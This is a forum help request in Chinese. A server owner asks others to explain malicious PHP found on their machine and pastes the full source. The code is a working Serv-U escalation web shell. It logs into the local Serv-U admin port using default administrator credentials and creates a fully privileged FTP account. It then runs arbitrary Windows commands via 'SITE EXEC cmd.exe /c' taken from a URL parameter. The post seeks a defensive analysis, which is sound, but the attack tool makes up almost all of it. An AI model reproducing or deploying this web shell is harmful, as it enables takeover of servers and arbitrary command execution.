php 恶意代码分析,解读 PHP恶意代码

解读 PHP恶意代码

我的服务器被人传了恶意代码，我看了，看不懂，有谁可以帮我分析一下？？

//

//Codez begin

//

//判断magic_quotes_gpc的值

if (get_magic_quotes_gpc()) {

$_GET = stripslashes_array($_GET);

}

//变量初始化

$addr = '0.0.0.0';

$ftpport = 21;

$adminport = 43958;

$adminuser = 'LocalAdministrator';

$adminpass = '#l@$ak#.lk;0@P';

$user = 'suber';

$password = '1234567890';

$homedir = 'C:\\';

$dir = 'C:\\WINNT\\System32\\';

//有改变则赋值

if ($_GET){

$addr = $_GET['addr'] ;

$ftpport = $_GET['ftpport'] ;

$adminport = $_GET['adminport'] ;

$adminuser = $_GET['adminuser'] ;

$adminpass = $_GET['adminpass'] ;

$user = $_GET['user'] ;

$password = $_GET['password'] ;

$homedir = $_GET['homedir'] ;

if ($_GET['dir']){

$dir = $_GET['dir'] ;

}

}

?>

SUU1.5

b {font-family : Verdana, sans-serif;font-size : 14px;}

body,td,p,pre {

font-family : Verdana, sans-serif;font-size : 12px;

}

input {

font-family: "Verdana";

font-size: "11px";

BACKGROUND-COLOR: "#FFFFFF";

height: "18px";

border: "1px solid #666666";

}

SUU1.5

添加Serv-U用户部分

主机IP：
主机Ftp端口：
主机Ftp管理端口：
主机Ftp管理用户：
主机Ftp管理密码：
添加的用户名：
添加的用户名密码：
用户主目录(别忘了写"\")：

---

命令回显:

//添加用户

if ($_GET['action']=="up"){

up($addr,$ftpport,$adminport,$adminuser,$adminpass,$user,$password,$homedir);

}

?>

---

执行命令部分

主机Ftp端口：
用户名：
用户名密码：
系统路径(别忘了写"\")：
执行的命令：

---

命令回显:

//执行命令

if ($_GET['action']=="execute"){

ftpcmd($ftpport,$user,$password,$dir,$_GET['cmd']);

}

?>

---

//添加用户主函数定义

function up($addr,$ftpport,$adminport,$adminuser,$adminpass,$user,$password,$homedir){

$fp = fsockopen ("127.0.0.1", $adminport, $errno, $errstr, 8);

if (!$fp) {

echo "$errstr ($errno)
\n";

} else {

fputs ($fp, "USER ".$adminuser."\r\n");

sleep (1);

fputs ($fp, "PASS ".$adminpass."\r\n");

sleep (1);

fputs ($fp, "SITE MAINTENANCE\r\n");

sleep (1);

fputs ($fp, "-SETUSERSETUP\r\n");

fputs ($fp, "-IP=".$addr."\r\n");

fputs ($fp, "-PortNo=".$ftpport."\r\n");

fputs ($fp, "-User=".$user."\r\n");

fputs ($fp, "-Password=".$password."\r\n");

fputs ($fp, "-HomeDir=".$homedir."\r\n");

fputs ($fp, "-LoginMesFile=\r\n");

fputs ($fp, "-Disable=0\r\n");

fputs ($fp, "-RelPaths=0\r\n");

fputs ($fp, "-NeedSecure=0\r\n");

fputs ($fp, "-HideHidden=0\r\n");

fputs ($fp, "-AlwaysAllowLogin=0\r\n");

fputs ($fp, "-ChangePassword=1\r\n");

fputs ($fp, "-QuotaEnable=0\r\n");

fputs ($fp, "-MaxUsersLoginPerIP=-1\r\n");

fputs ($fp, "-SpeedLimitUp=-1\r\n");

fputs ($fp, "-SpeedLimitDown=-1\r\n");

fputs ($fp, "-MaxNrUsers=-1\r\n");

fputs ($fp, "-IdleTimeOut=600\r\n");

fputs ($fp, "-SessionTimeOut=-1\r\n");

fputs ($fp, "-Expire=0\r\n");

fputs ($fp, "-RatioUp=1\r\n");

fputs ($fp, "-RatioDown=1\r\n");

fputs ($fp, "-RatiosCredit=0\r\n");

fputs ($fp, "-QuotaCurrent=0\r\n");

fputs ($fp, "-QuotaMaximum=0\r\n");

fputs ($fp, "-Maintenance=System\r\n");

fputs ($fp, "-PasswordType=Regular\r\n");

fputs ($fp, "-Ratios=None\r\n");

fputs ($fp, " Access=".$homedir."|RWAMELCDP\r\n");

fputs ($fp, "QUIT\r\n");

sleep (1);

while (!feof($fp)) {

echo fgets ($fp,128);

}

}

}

//执行命令主函数定义

function ftpcmd($ftpport,$user,$password,$dir,$cmd){

$conn_id = fsockopen ("127.0.0.1", $ftpport, $errno, $errstr, 8);

if (!$conn_id) {

echo "$errstr ($errno)
\n";

} else {

fputs ($conn_id, "USER ".$user."\r\n");

sleep (1);

fputs ($conn_id, "PASS ".$password."\r\n");

sleep (1);

fputs ($conn_id, "SITE EXEC ".$dir."cmd.exe /c ".$cmd."\r\n");

fputs ($conn_id, "QUIT\r\n");

sleep (1);

while (!feof($conn_id)) {

echo fgets ($conn_id,128);

}

fclose($conn_id);

}

}

//去除转义字符

function stripslashes_array(&$array) {

while (list($key,$var) = each($array)) {

if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) {

if (is_string($var)) {

$array[$key] = stripslashes($var);

}

if (is_array($var)) {

$array[$key] = stripslashes_array($var);

}

}

}

return $array;

}

?>